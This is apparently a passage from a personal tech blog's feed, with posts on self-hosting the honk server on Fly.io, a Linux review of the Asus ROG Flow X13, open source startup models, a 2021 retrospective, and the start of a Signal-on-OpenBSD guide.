id="setup">setup</h2> <p>They want a Dockerfile, so let&rsquo;s give them one.</p> <pre><code class="language-dockerfile">FROM golang:1.18-alpine AS builder RUN apk add sqlite-dev build-base mercurial WORKDIR /tmp/src RUN hg clone https://humungus.tedunangst.com/r/honk RUN cd honk &amp;&amp; make FROM alpine:latest RUN apk add sqlite sqlite-dev COPY local /tmp/local COPY memes /tmp/memes COPY emus /tmp/emus WORKDIR /opt COPY --from=builder /tmp/src/honk/honk /bin/ COPY --from=builder /tmp/src/honk/views views/ COPY start /bin ENV HONK_DATA_DIR &quot;/opt/data&quot; ENV HONK_VIEWS_DIR &quot;/opt/&quot; CMD [&quot;/bin/start&quot;] </code></pre> <p>Not too much going on here&mdash;we pull latest tip, build honk, copy the <code>local</code> directory containing our <code>local.css</code> (custom styles); the <code>memes</code> directory containing, well, memes (PNGs and GIFs); and the <code>emus</code> directory containing emoji (used as <code>:filename:</code>). These will then be copied into the Fly volume later on by the <code>start</code> script. Kinda gross, but whatever.</p> <p>And the <code>start</code> script:</p> <pre><code class="language-sh">#!/bin/sh run() { cp -R /tmp/memes/* &quot;$HONK_DATA_DIR&quot;/memes/ cp -R /tmp/memes/* &quot;$HONK_DATA_DIR&quot;/emus/ cp -R /tmp/local/* &quot;$HONK_DATA_DIR&quot;/views/ honk -datadir &quot;$HONK_DATA_DIR&quot; -viewdir &quot;$HONK_VIEWS_DIR&quot; } # first time setup if [ ! -f &quot;$HONK_DATA_DIR/honk.db&quot; ]; then honk init &lt;&lt;-EOF $HONK_USERNAME $HONK_PASSWORD $HONK_ADDRESS $HONK_SERVER_NAME EOF fi run </code></pre> <p>This simply copies our stuff from the container into the volume, and launches honk. If the honk database doesn&rsquo;t yet exist, we run <code>honk init</code> and set it up. These environment variables are configured in the <code>fly.toml</code> file:</p> <pre><code class="language-toml">app = &quot;honk&quot; kill_signal = &quot;SIGINT&quot; kill_timeout = 5 processes = [] [mounts] source = &quot;honkstore&quot; destination = &quot;/opt/data&quot; [env] HONK_USERNAME = &quot;icy&quot; HONK_ADDRESS = &quot;0.0.0.0:8080&quot; HONK_SERVER_NAME = &quot;h.icyphox.sh&quot; [experimental] allowed_public_ports = [] auto_rollback = true [[services]] http_checks = [] internal_port = 8080 processes = [&quot;app&quot;] protocol = &quot;tcp&quot; script_checks = [] [services.concurrency] hard_limit = 50 soft_limit = 20 type = &quot;connections&quot; [[services.ports]] force_https = true handlers = [&quot;http&quot;] port = 80 [[services.ports]] handlers = [&quot;tls&quot;, &quot;http&quot;] port = 443 [[services.tcp_checks]] grace_period = &quot;1s&quot; interval = &quot;15s&quot; restart_limit = 0 timeout = &quot;2s&quot; </code></pre> <p>The <code>fly.toml</code> gets generated when you first run <code>fly launch</code>. The only bits I&rsquo;ve added are the <code>env</code> and <code>mounts</code> sections. Notice that <code>HONK_PASSWORD</code> is missing, and for good reason&mdash;Fly has support for secrets, which can be created quite handily using:</p> <pre><code class="language-sh">$ flyctl secrets set HONK_PASSWORD=&quot;$(pw -s honk)&quot; </code></pre> <h2 id="deploy">deploy</h2> <p>The only thing left to do is to provision our volume for persistence, and we&rsquo;re off to the races:</p> <pre><code class="language-sh">$ flyctl volumes create honkstore --region maa ID: vol_1g67340omkm4ydxw Name: honkstore App: honk Region: maa Zone: aed0 Size GB: 10 Encrypted: true Created at: 21 May 22 16:07 UTC $ flyctl deploy </code></pre> <h2 id="post-deploy">post-deploy</h2> <p>I like having pretty usernames. In this case, I want to drop the <code>h.</code> subdomain and have it look like this: <code>icy@icyphox.sh</code>. To do this, we simply set the <code>masqname</code> key in the database to our desired hostname<sup class="footnote-ref" id="fnref:2"><a href="#fn:2">2</a></sup>:</p> <pre><code class="language-sh">$ honk setconfig 'masqname' 'icyphox.sh' </code></pre> <p>And at <code>icyphox.sh</code>, we setup a redirect to <code>h.icyphox.sh</code> at the <code>/.well-known/webfinger</code> path. I did this <a href="https://github.com/icyphox/site/commit/4bbc8335481a0466d7c23953b0f6057f97607ed1" rel="nofollow">via Netlify</a>; you can do it however, as long as the query parameters are preserved. Read more about webfingers and other thingamabobs <a href="https://docs.joinmastodon.org/spec/webfinger/" rel="nofollow">here</a>.</p> <p>I did a bunch more like custom CSS, avatars etc. but I&rsquo;ll leave that as homework for you (<a href="https://humungus.tedunangst.com/r/honk/m/honk.8" rel="nofollow">honk(8)</a> is mandatory reading!).</p> <h2 id="thoughts">thoughts</h2> <p><strong>On Fly</strong>: I think it&rsquo;s neat. Rough edges? Sure. My <a href="https://community.fly.io/t/app-stuck-in-pending-in-maa-region/5280" rel="nofollow">deploy was stuck in <code>pending</code></a>; I had to delete it and re-create it for it to start working again. I lost my data in the process because volumes are attached to apps. Perhaps I should&rsquo;ve waited and the problem would&rsquo;ve fixed itself. Who knows?</p> <p>And that&rsquo;s the eternal problem with PaaS&mdash;there&rsquo;s a layer of abstraction that you can&rsquo;t ever pierce. You can&rsquo;t truly know what the problem was unless they publish a post-mortem (or don&rsquo;t). Anyway, in this case I&rsquo;ll just chalk it up to teething issues.</p> <p>Is it easier than simply building it on a server and running <code>nohup ./honk &amp;</code> and calling it a day<sup class="footnote-ref" id="fnref:3"><a href="#fn:3">3</a></sup>? Not really. It&rsquo;s more fun, I guess.</p> <p><strong>On honk</strong>: It&rsquo;s refreshing. I liked running Pleroma + Soapbox (I still do, haven&rsquo;t killed it yet), but it always felt alien to me. I didn&rsquo;t understand the code, didn&rsquo;t enjoy having to upgrade Elixir/Erlang OTP whatever, <code>mix.deps get</code> blah blah; a single Go binary + sqlite + HTML templates speaks to me.</p> <p>Go follow me at <a href="https://h.icyphox.sh/u/icy" rel="nofollow">icy@icyphox.sh</a>. It&rsquo;s why I even wrote this post. Not that I can see it, honk doesn&rsquo;t have those ego-numbers.</p> <p>You can find all the source code to deploy honk yourself here: <a href="https://git.icyphox.sh/honk" rel="nofollow">https://git.icyphox.sh/honk</a></p> <div class="footnotes"> <hr /> <ol> <li id="fn:1"><p>Written by <a href="https://honk.tedunangst.com/u/tedu" rel="nofollow">tedu</a>. He&rsquo;s a cool guy who runs and hacks OpenBSD. The honk source is a fun read.</p> <a class="footnote-return" href="#fnref:1"><span aria-label='Return'>↩︎</span></a></li> <li id="fn:2">Had to setup a custom domain for this: <a href="https://fly.io/docs/app-guides/custom-domains-with-fly/" rel="nofollow">https://fly.io/docs/app-guides/custom-domains-with-fly/</a> <a class="footnote-return" href="#fnref:2"><span aria-label='Return'>↩︎</span></a></li> <li id="fn:3"><p>Yes that&rsquo;s actually how I run a bunch of my services, including <a href="https://forlater.email" rel="nofollow">forlater.email</a>!</p> <a class="footnote-return" href="#fnref:3"><span aria-label='Return'>↩︎</span></a></li> </ol> </div> + + + The Asus ROG Flow X13 + 2022-05-02T00:00:00Z + tag:icyphox.sh/,2022-05-02:blog/flow-x13 + + <h2>My hunt for a new laptop has finally concluded</h2> <p><img src="https://cdn.icyphox.sh/3NZ1u.jpg" alt="" /></p> <p>I&rsquo;ve been on the lookout for a new laptop for a while now. While the HP Envy was good&mdash;is good&mdash;the measly 8 gigs of RAM was struggling to hold in all the beefy stuff that I run these days (skaffold, k3s, etc.). And it being a &ldquo;budget&rdquo; laptop of its time didn&rsquo;t do its chassis any favors&mdash;the bottom was very scratched because the rubber bumpons came off; the keyboard deck had some rather mysterious scuff marks. Anyway, off I went looking for a replacement.</p> <p>My requirements for a laptop are somewhat specific. From the title it&rsquo;s obvious that I&rsquo;d like to have good Linux support; here&rsquo;s a list of other things that I expect to see:</p> <ul> <li>HiDPI: Any resolution above 1080p (or 1200p). I look at text all day, and I&rsquo;d like it to be <em>crispy</em>.</li> <li>13&rdquo; - 14&rdquo;: I don&rsquo;t like overly large or heavy laptops. I think 13.3 inches is the perfect screen size; 14 is a compromise.</li> <li>A decent CPU: I don&rsquo;t really do anything very compute intensive, but an i7 or a Ryzen 7 should be ideal.</li> <li>32 GB RAM: Having struggled with 8 gigs for so long made this a hard requirement. Never again will I have to <code>pkill gopls</code>.</li> </ul> <p>I can&rsquo;t say I had a specific budget in mind, but anything more than 140k INR (1.4L, ≈1800 USD) is somewhat hard to justify. Listed below were the contenders for the prestegious position of being my laptop of choice:</p> <ul> <li><strong>Tuxedo InfinityBook Pro 14</strong>: While this ticks all the boxes, the cost including shipping (as of this writing) is about 1700 EUR. And that&rsquo;s without opening the massive, stinky can of worms called Indian Customs. Expecting a very lenient 40% duty, it&rsquo;s safe to say it&rsquo;s <em>batshit expensive</em>.</li> <li><strong>ThinkPad X13</strong>: Lenovo&rsquo;s site allows you to customize orders for certain models, and these will be custom built and shipped from China. The nice thing is Lenovo takes care of the customs and shipping and other logistics. The not-nice thing is it takes a minimum of <em>12 weeks</em>&mdash;at least for the X13. That&rsquo;s 4 whole months. I think I&rsquo;ll pass.</li> </ul> <p>With that preface out of the way, the machine I finally settled on was (as the title reads) the <strong>Asus ROG Flow X13</strong>. My model set me back by about 130,000 INR (1.3L, ≈1700 USD). The trick was to look in the &ldquo;gaming laptops&rdquo; section, because this model didn&rsquo;t show up anywhere in the thin-and-light/productivity/ultrabook searches. And it doesn&rsquo;t look gamery at all. Here&rsquo;s what my Dad had to say, as a serial ThinkPad user:</p> <blockquote> <p>&ldquo;It looks like a ThinkPad.&rdquo;</p> </blockquote> <h2 id="hardware">hardware</h2> <p>I opted to buy the 2021 model because, really, the only difference in the 2022 model is the marginally better CPU and a MUX switch. I don&rsquo;t care much for either. The octa-core Ryzen 9 5900HS has more compute power than I could ever need.</p> <p>The chassis is made of a &ldquo;magnesium alloy&rdquo;, with a grooved finish that feels very nice to touch. There&rsquo;s very minimal branding&mdash;one somewhat &ldquo;iridescent&rdquo; label with the Republic of Gamers logotype on one corner of the lid, and the ROG logo on the right palm-rest, made out of the same groove design.</p> <table> <thead> <tr> <th></th> <th></th> </tr> </thead> <tbody> <tr> <td><img src="https://cdn.icyphox.sh/J2SN2.jpg" alt="" /></td> <td><img src="https://cdn.icyphox.sh/0wFTQ.jpg" alt="" /></td> </tr> </tbody> </table> <p>The hinges are sturdy and allow for 360° rotation. The lid can be opened with a single finger, which is much appreciated. The screen itself is a gorgeous 4K (3840×2400) touch screen panel. While the need need for 4K on a 13&rdquo; screen is questionable, I welcome it wholeheartedly. It is the best screen I&rsquo;ve used; the colors are punchy, text is (naturally) very crisp. It&rsquo;s glossy, and attracts a ton of fingerprints. A stylus is included in the box&mdash;or at least it was for me&mdash;but I haven&rsquo;t found much use for it after the initial excitement.</p> <p><img src="https://cdn.icyphox.sh/s7u2n.jpg" alt="" /></p> <p>The keyboard is pretty good. Given the choice, I wouldn&rsquo;t have picked the font on the caps, but I suppose it could be worse. Three backlight modes for low, medium and high brightness exist. These can be controlled via the sysfs device at <code>/sys/class/leds/asus::kbd_backlight/</code>. The dedicated volume buttons are nice and work out of the box; the mic-mute toggle key however needs special treatment to get detected by X11&mdash;adding the below udev rule did the trick:</p> <pre><code class="language-nix">udev.extraHwdb = '' evdev:input:b0003v0B05p19B6* KEYBOARD_KEY_ff31007c=f20 ''; </code></pre> <p>For ports, you get a USB-C and a USB-A on the right along with the power button; on the left: a 3.5mm headphone/microphone jack, a HDMI 2.0 port, and the proprietary XGm port for use with the <a href="https://rog.asus.com/in/external-graphic-docks/2021-rog-xg-mobile-model/" rel="nofollow">XG Mobile</a> external GPU. The eGPU port, while being generally useless to me, also happens to contain a USB-C port, bringing the total to two. The ports selection could be better&mdash;a single USB-A is one too less, forcing me to have to use a dongle to connect both my keyboard and mouse.</p> <table> <thead> <tr> <th></th> <th></th> </tr> </thead> <tbody> <tr> <td><img src="https://cdn.icyphox.sh/xyYII.jpg" alt="" /></td> <td><img src="https://cdn.icyphox.sh/z-Y1R.jpg" alt="" /></td> </tr> </tbody> </table> <p>The entire package weighs in at about 1.3 kilograms, which is just as much as my HP Envy. For how well it&rsquo;s built, I&rsquo;m not complaining.</p> <p>Finally, here&rsquo;s the full spec list:</p> <ul> <li>Ryzen 9 5900HS, 8 cores &amp; 16 threads</li> <li>32 GB LPDDR4X RAM @ 4266MHz</li> <li>Nvidia GeForce GTX 1650 Max-Q, 4 GB GDDR6</li> <li>1 TB SSD</li> </ul> <h2 id="software">software</h2> <p>Installing NixOS was straightforward. Basically everything works out of the box. I&rsquo;d have liked to run OpenBSD on it, but I unfortunately require Linux for work. NixOS, while I understand nothing of Nix (the language), works well enough. Being able to configure your entire system from one single place is quite nice. Overall, it&rsquo;s a lot more cohesive than other Linux systems.</p> <p>The Nvidia GPU is handled surprisingly well. Looks like Linux has improved a lot in this regard. &ldquo;Offload mode&rdquo; is especially neat&mdash;you can selectively &ldquo;offload&rdquo; certain tasks (like running Steam) to the GPU, and otherwise have it suspended. Here&rsquo;s how I do it:</p> <pre><code class="language-nix">{ pkgs, ... }: pkgs.writeShellScriptBin &quot;nvidia-offload&quot; '' export __NV_PRIME_RENDER_OFFLOAD=1 export __NV_PRIME_RENDER_OFFLOAD_PROVIDER=NVIDIA-G0 export __GLX_VENDOR_LIBRARY_NAME=nvidia export __VK_LAYER_NV_optimus=NVIDIA_only exec -a &quot;$0&quot; &quot;$@&quot; '' </code></pre> <p>Now simply run</p> <pre><code class="language-sh">$ nvidia-offload steam </code></pre> <p>to have Steam run on the GPU. Use the <code>nvidia-smi</code> tool to inspect processes currently using the GPU.</p> <p>The laptop has an accelerometer to detect when it&rsquo;s in tablet mode, and invert the display accordingly. Unfortunatly, I couldn&rsquo;t figure out how to get it to work in X11/cwm. Instead, I wrote a handy script to rotate the display and the touch input:</p> <pre><code class="language-nix">{ pkgs, ... }: let xrandr = &quot;${pkgs.xorg.xrandr}/bin/xrandr&quot;; xinput = &quot;${pkgs.xorg.xinput}/bin/xinput&quot;; in pkgs.writeShellScriptBin &quot;invert&quot; '' orientation=&quot;$(${xrandr} --query --verbose | grep eDP | cut -d ' ' -f 6)&quot; if [[ &quot;$orientation&quot; == &quot;normal&quot; ]]; then echo &quot;turning screen upside down...&quot; ${xrandr} -o inverted ${xinput} set-prop 'ELAN9008:00 04F3:2C82' 'Coordinate Transformation Matrix' -1 0 1 0 -1 1 0 0 1 ${xinput} set-prop 'ELAN9008:00 04F3:2C82 Stylus Pen (0)' 'Coordinate Transformation Matrix' -1 0 1 0 -1 1 0 0 1 ${xinput} set-prop 'ELAN9008:00 04F3:2C82 Stylus Eraser (0)' 'Coordinate Transformation Matrix' -1 0 1 0 -1 1 0 0 1 else echo &quot;reverting back to normal...&quot; ${xrandr} -o normal ${xinput} set-prop 'ELAN9008:00 04F3:2C82' 'Coordinate Transformation Matrix' 1 0 0 0 1 0 0 0 1 ${xinput} set-prop 'ELAN9008:00 04F3:2C82 Stylus Pen (0)' 'Coordinate Transformation Matrix' 1 0 0 0 1 0 0 0 1 ${xinput} set-prop 'ELAN9008:00 04F3:2C82 Stylus Eraser (0)' 'Coordinate Transformation Matrix' 1 0 0 0 1 0 0 0 1 fi '' </code></pre> <p>Then, simply run <code>invert</code> to toggle your current orientation:</p> <pre><code class="language-sh">▲ invert turning screen upside down... ▲ invert reverting back to normal... </code></pre> <p>Battery life could be better, but with TLP/powertop + switching the CPU governor to <code>powersave</code> on battery, I get about 7 - 8 hours on light workloads, and about 5 on heavy. I&rsquo;m going to guess the 4K panel is to blame.</p> <p>Also worth mentioning is the <a href="https://asus-linux.org" rel="nofollow">Asus Linux</a> project. They have some useful resources for running Linux on Asus laptops, and <a href="https://gitlab.com/asus-linux/asusctl" rel="nofollow">asusctl</a> / <a href="https://gitlab.com/asus-linux/supergfxctl" rel="nofollow">supergfxctl</a>&mdash;two great tools for managing power profiles, fan curves and the dGPU.</p> <p>Overall, I couldn&rsquo;t be happier with this machine. It wasn&rsquo;t cheap, but it sure does check all the boxes and it&rsquo;s incredibly future proof. As for my trusty old HP Envy 13, I haven&rsquo;t decided yet what to do with it. It&rsquo;ll most probably end up in my closet, enshrined under a layer of clothes.</p> <p>You can find all the scripts mentioned in this post (and more!) <a href="https://github.com/icyphox/dotfiles/tree/master/nix" rel="nofollow">here</a>.</p> + + + Cloud (F)OSS is a good model + 2022-02-07T00:00:00Z + tag:icyphox.sh/,2022-02-07:blog/cloud-foss + + <h2>On building (mostly) open source startups</h2> <p>Of late, I&rsquo;ve been thinking a lot about what makes a startup work, and I think open sourcing your product&mdash;or a good portion of it&mdash;is a great approach. To be clear, I&rsquo;m only talking about SaaS platforms, and not any other kind of product. Hence, I&rsquo;m dubbing this as &ldquo;Cloud FOSS&rdquo;.</p> <p>The title of this post was initially &ldquo;Cloud FOSS is the way&rdquo;, but I quickly realised that I know next to nothing about actually building companies and I&rsquo;m really just talking out of my rear end. Nevertheless it&rsquo;s still pretty fun to try and reason about why the open source model is great for startups, so reason we shall.</p> <p>Broadly speaking, there are two kinds of &ldquo;Cloud FOSS&rdquo; companies:</p> <ul> <li>the open source and cloud versions are identical, entirely free software (à la <a href="https://sourcehut.org" rel="nofollow">sourcehut</a>)</li> <li>the cloud version has exclusive &ldquo;premium&rdquo; features that aren&rsquo;t present in the open source version&mdash;a.k.a the open core model; it seems to be gaining a lot of popularity in recent times with the likes of Gitlab etc.</li> </ul> <p>Let&rsquo;s dissect each approach and see what drives them.</p> <h2 id="the-all-foss-absolutist-model">the all-FOSS absolutist model</h2> <p>As mentioned above, sourcehut is a great&mdash;if not the only&mdash;example of a company built this way. Unless of course, I&rsquo;m gravely mistaken (wouldn&rsquo;t be the first time!), and you know of another, or are building one yourself&mdash;please <a href="mailto:x@icyphox.sh" rel="nofollow">email me</a>; I&rsquo;ll be happy to mention it here.</p> <p><strong>Update</strong>: I was indeed mistaken. Here are a few companies built similarly:</p> <ul> <li><a href="https://jmp.chat/" rel="nofollow">jmp.chat</a>&mdash;free-as-in-freedom US/Canadian phone numbers</li> <li><a href="https://frappe.io/" rel="nofollow">Frappe</a>&mdash;Indian company building a suite of free software products</li> <li><a href="https://plausible.io" rel="nofollow">Plausible Analytics</a>&mdash;free software analytics platform. The self-hosted version has a less frequent (LTS) release schedule.</li> </ul> <p>For those unaware, sourcehut is an entirely free software company/startup that&rsquo;s building a software development platform; a suite of tools and services like git/hg hosting, CI, mailing lists, issue tracking etc. All of these can be self-hosted, with <a href="https://man.sr.ht/installation.md" rel="nofollow">plenty of docs</a> to get started doing so. Or, you can of course, pay for the hosted service at <a href="https://sr.ht" rel="nofollow">sr.ht</a>, their flagship instance.</p> <p>Granted, this one&rsquo;s probably quite hard to pull off, especially if you&rsquo;re VC backed or have investors of any kind. When your product is free software, you can&rsquo;t really bake in analytics and other creepy user-tracking shit that&rsquo;s common these days; what pages perform better, what buttons do users click more often, the likes. And naturally, you don&rsquo;t really have metrics to show your investors that your latest feature du jour is doing great (or not).</p> <p>Thankfully for us, sourcehut is completely bootstrapped. They&rsquo;ve <a href="https://sourcehut.org/blog/2022-01-09-how-does-our-business-work/" rel="nofollow">written about</a> their business model, and it&rsquo;s beautifully simple: they make money from users subscribing to their service&mdash;the hosted version of the sourcehut software&mdash;and from other free software consultation gigs. That&rsquo;s it. And they&rsquo;re quite profitable. Very cool sourcehut.</p> <h2 id="the-less-absolutist-open-core-model">the less absolutist open core model</h2> <p>The open core model, according to Wikipedia&rsquo;s definition:</p> <blockquote> <p>primarily involves offering a &ldquo;core&rdquo; or feature-limited version of a software product as free and open-source software, while offering &ldquo;commercial&rdquo; versions or add-ons as proprietary software.</p> </blockquote> <p>Typically in SaaS offerings, the &ldquo;commercial&rdquo; version is a hosted version of the open source software, <em>plus</em> the usual suspects like analytics, project management, user management, and a seat count for different subscription tiers. Some startups may simply continue to operate this way, with feature parity between the open source and cloud versions (minus the meta &ldquo;features&rdquo;); however, this may not always be the case.</p> <p>Oftentimes, in accordance with the definition above, the open source version may be <em>feature-limited</em>, with some parts of the core feature set only available on the cloud version. In most cases, this probably doesn&rsquo;t matter to the average self-hoster, since the paywalled features will most likely be irrelevant to them&mdash;usually catering to larger deployments (support for say, CockroachDB), or enterprise-level deployments (Active Directory support, SSO), etc.</p> <p>The business model is quite straightforward&mdash;get initial traction via the self-hosted open source software, while building out your cloud offering. The community built around the self-hosted software are your initial pool of potential paying customers. Generally, these are either early-stage startups (seed to series A) who don&rsquo;t have a large enough team to manage additional infrastructure, or large enterprises who are happy to pay for well, the enterprise features. These enterprise deals may even transition into large on-prem contracts.</p> <p>One thing to note about most open core projects is they&rsquo;ll most likely enforce a CLA or a Contributor License Agreement. This usually says something to the effect of &ldquo;while you own the copyright to your code, you grant us the rights to make money off it, or even relicense it should we wish to do so&rdquo;. It&rsquo;s <a href="https://drewdevault.com/2018/10/05/Dont-sign-a-CLA.html" rel="nofollow">probably not a good idea</a> to sign one.</p> <h2 id="why-cloud-foss-works">why cloud FOSS works</h2> <p>Cloud FOSS as a basis for building a company probably works because of a bunch of reasons. As a startup, getting an initial foothold in the market can be hard, and offering a fully open source version of your platform can simplify that a whole lot. Setup a GitHub organization, do a Show HN and Bob&rsquo;s your uncle. Obviously, it isn&rsquo;t <em>that</em> easy, but you get the idea.</p> <p>Having an initial userbase from open source can be very useful. You essentially get free insight into what features work and what don&rsquo;t, and what features your users want. You also get bug reports, issues from various deployment scenarios, environments, operating systems, etc. A goldmine of information to help drive product development decisions.</p> <p>Further, having a community built around your product helps too. High quality contributors (sometimes), an audience for PR events, the ability to conduct user surveys and most importantly, a hiring pool.</p> <p>With that concludes my ideas on why Cloud FOSS is a good way to build a startup. Again, I must reiterate that I literally have no idea what I&rsquo;m talking about and whatever I posit is merely a result of &ldquo;Oh I&rsquo;ve seen it work this way before&rdquo;. I&rsquo;m happy to hear what you think.</p> <hr> <p>This post was inspired by a conversation with <a href="https://prithu.dev" rel="nofollow">Prithu</a>.</p> + + + 2021 in review + 2022-01-10T00:00:00Z + tag:icyphox.sh/,2022-01-10:blog/2021-in-review + + <h2>The post-year ramble is here, slightly late this time</h2> <p>The last year was quite eventful to say the least, and I&rsquo;d been putting off on writing this retrospective simply because of the sheer number of things that happened/I did, of varying levels of importance&mdash;both to you as a reader, and me as&hellip; well, the one who experienced them.</p> <p>I&rsquo;ll try to highlight the major ones here&mdash;they&rsquo;re also the ones I&rsquo;m okay to discuss publicly, so there&rsquo;s that. As for the rest: they&rsquo;ll serve as conversation fuel for 2022.</p> <h2 id="i-graduated-barely">I graduated&hellip; barely</h2> <p>After 4 long years, mostly &ldquo;learning&rdquo; about things that haven&rsquo;t been used since like, my mom was born (I&rsquo;m looking at you Intel 8086), I am now a Bachelor of Technology in Computer Science and Engineering. I say barely because I actually did pretty terribly. I&rsquo;m still mildly surprised that given my GPA, the degree certificate classifies it as a &ldquo;First Class&rdquo;. I think they just felt sorry for us lot.</p> <p>Was it a waste of time? A lot of the coursework, sadly, was. But my time in college&mdash;however little&mdash;was actually quite fun. One thing&rsquo;s for sure: I can&rsquo;t rewind time to see what would&rsquo;ve happened had I <em>not</em> done the degree; but now I&rsquo;ve done it, and here we are. Wherever that is. Maybe it helped, maybe it didn&rsquo;t. Oh well.</p> <h2 id="my-time-at-deepsource">my time at DeepSource</h2> <p>This time last year (January 2021), I joined <a href="https://deepsource.io" rel="nofollow">DeepSource</a> as a Security Engineer (SRE on paper). Suffice to say, I had an excellent time there, working with some equally excellent people. I got to touch a whole bunch of systems: ranging from observability pipelines, mesh networks in Kubernetes, cloud-native security, and some more Kubernetes.</p> <p>Oh, and here are a few pictures from our trip to the Maldives.<sup class="footnote-ref" id="fnref:1"><a href="#fn:1">1</a></sup></p> <p><img src="https://cdn.icyphox.sh/FX~bI.jpg" alt="maldives 1" /> <img src="https://cdn.icyphox.sh/DMHDG.jpg" alt="maldives 2" /></p> <p>In December 2021, I decided to leave DeepSource in favor of other opportunities. I must say, I will deeply miss my equity when DeepSource eventually becomes a unicorn&mdash;and I&rsquo;m confident they will! As for the other opportunities, I will write about that in a future post. This is a <em>retrospective</em> after all.<sup class="footnote-ref" id="fnref:2"><a href="#fn:2">2</a></sup></p> <h2 id="projects-and-hacks">projects and hacks</h2> <p>Probably my biggest and most fun project this year was <a href="https://forlater.email" rel="nofollow">forlater.email</a>. Both the site, and its <a href="/blog/building-forlater">technical breakdown</a> frontpaged on Hacker News and was pretty well received. In hindsight, I should&rsquo;ve included some kind of payment model, but at the same time, being flexible enough to accomodate those that can&rsquo;t afford to pay. And the code is shit. I&rsquo;ll probably rewrite it. Eventually.<sup class="footnote-ref" id="fnref:3"><a href="#fn:3">3</a></sup></p> <p>My attempt at running <a href="/blog/k8s-at-home">Kubernetes at home</a>, while being super fun, failed miserably. I learnt a ton from it however, and I have no regrets. Setting up a Wireguard mesh manually, bootstrapping a cluster using <code>kubeadm</code>, multi-arch considerations, etc. I do sorely miss the declarative-ness of it all, I must say.</p> <p>Besides these, I don&rsquo;t think I spent any serious amount of time on anything else. Other than, of course, work projects.</p> <h2 id="this-site">this site</h2> <p>As is tradition, let&rsquo;s talk about this site and the blog. There have been some minor visual changes but I think it&rsquo;s largely stayed the same. I&rsquo;ve found the aesthetic I like&mdash;at least for now.</p> <p>I&rsquo;ve re-added the <a href="/reading">reading</a> page to publicly track books that I&rsquo;ve read. More on that in a bit.</p> <p>As for blog posts this year, let&rsquo;s see:</p> <pre><code class="language-console">$ grep 'date: 2021' pages/blog/*.md | wc -l 13 </code></pre> <p>Only 13! That&rsquo;s about 1 a month, and the lowest count per year so far. I&rsquo;ll attribute this to me dedicating more time to work, i.e. I&rsquo;ve become a wagie cagie. Make of that what you will. That said, I think the quality of posts has considerably increased. I think.</p> <h2 id="other-stuff">other stuff</h2> <p>I couldn&rsquo;t think of an appropriate heading for this section so &ldquo;other stuff&rdquo; it is: a catch-all category for general life-ey things.</p> <p>I read a grand-total of 9 books last year&mdash;not particularly good. I&rsquo;d like to at least double that this year. Some of my favourite reads were: <em>Dune</em>, <em>The Hero of Ages</em>, <em>The Enemy</em> and <em>Permanent Record</em>. Big thanks to <a href="https://awalvie.me" rel="nofollow">Vishesh</a> for <em>Dune</em> and <a href="https://twitter.com/thebluefowl" rel="nofollow">Vishnu</a> for <em>Permanent Record</em>!</p> <p>Language learning took an unfortunate hit, with basically zero progress in Russian. I did study it for a month or two in early 2021, but I won&rsquo;t count it for I&rsquo;ve likely forgotten it all. I hope to restart where I left off, this year&mdash;hopefully with the help of my new <a href="/blog/bujo">productivity hacks</a> (which has been working wonders, by the way!).</p> <p>I had roughly about 6 - 7 months of time to hit the gym, i.e. when the gym wasn&rsquo;t closed off, and I managed to get some swole on. As of this writing, it&rsquo;s the &ldquo;third wave&rdquo; of COVID-19 and the gym&rsquo;s closed. Again.</p> <p>In other somewhat big news: I switched to an iPhone 13 mini. This probably warrants its own big post&mdash;one full of copes and hopes. I will have to mull over it a bit to fully articulate my thoughts. I have a few other post ideas as well&mdash;many that I planned on writing last year but never got around to. I often consider writing commentary on <code>$TECH_OUTRAGE_DU_JOUR</code> but everything that I want to say has usually already been said. I&rsquo;m sure there&rsquo;ll be plenty of stuff I can be the <em>first</em> to comment on in 2022.</p> <p>And speaking of 2022&hellip;</p> <h2 id="2022-might-be-big">2022 might be big</h2> <p>This might be a big year for me, with some potentially huge life updates. New job, new adventures, the works. I&rsquo;m looking forward to it. 2021 was super eventful; 2022 just might top it.</p> <p>Here&rsquo;s a list of things I&rsquo;m looking forward to this year:</p> <ul> <li>Formula 1: New regulations! Williams back on top? Who knows?!</li> <li>New albums: Oceans Ate Alaska, I See Stars (one can hope!), Invent Animate.</li> <li>Travel.</li> <li>Reading <em>The Wheel of Time</em> series.</li> </ul> <p>I&rsquo;m going to close off this rambly post with a big thanks to everyone who&rsquo;s supporting forlater.email&mdash;it made my whole last year. Maybe this year too. And you just might see another micro-SaaS from me!</p> <p>I&rsquo;ll see you soon.</p> <div class="footnotes"> <hr /> <ol> <li id="fn:1"><p>If you&rsquo;re in Bangalore and are looking for work, definitely consider <a href="https://careers.deepsource.io" rel="nofollow">applying to DeepSource</a>!</p> <a class="footnote-return" href="#fnref:1"><span aria-label='Return'>↩︎</span></a></li> <li id="fn:2">There are hints&hellip; in various places&hellip; <a class="footnote-return" href="#fnref:2"><span aria-label='Return'>↩︎</span></a></li> <li id="fn:3">Sure, lol. <a class="footnote-return" href="#fnref:3"><span aria-label='Return'>↩︎</span></a></li> </ol> </div> + + + Signal Desktop on OpenBSD via vmm(4) + 2021-12-26T00:00:00Z + tag:icyphox.sh/,2021-12-26:blog/signal-vmm + + <h2>X11 forwarding to the rescue</h2> <p>Early this year, I completely switched over to Signal and I&rsquo;m fortunate enough to have everyone that I talk to switch over as well. I know I wrote what some might view as a <a href="/blog/signal">hit piece on Signal</a>, but I have immense respect for the project and will continue to use it until an actually viable alternative comes along.</p> <p>Unfortunately, their desktop application isn&rsquo;t natively available for OpenBSD. A solution that&rsquo;s worked decently enough for me is to run it via X11 forwarding on a Ubuntu VM running on <a href="https://man.openbsd.org/vmm" rel="nofollow">vmm(4)</a>&mdash;OpenBSD&rsquo;s built-in hypervisor.</p> <h2 id="setting-up-the-vm">setting up the VM</h2> <p>I recommend reading the <a href="https://www.openbsd.org/faq/faq16.html" rel="nofollow">FAQ on Virtualization</a> first, but here&rsquo;s a quick overview. Note that I&rsquo;ll be skipping the networking bits so I highly recommend reading the FAQ to get your VM connected to the internet.</p> <p>Create a disk image for the VM to install onto.</p> <pre><code class="language-sh">$ vmctl create -s 30G ubuntu.img </code></pre> <p>I&rsquo;m using the Ubuntu 18.04 LTS <a href="archive.ubuntu.com/ubuntu/dists/bionic/main/installer-amd64/current/images/netboot/mini.iso" rel="nofollow">mini.iso</a>. I ran into issues with the 20.04 LTS ISO, but I think you should be able to <code>dist-upgrade</code> from 18.04 without much trouble. Once you have the ISO downloaded somewhere, edit <code>/etc/vm.conf</code>:</p> <pre><code class="language-conf">vm &quot;ubuntu&quot; { memory 2G cdrom 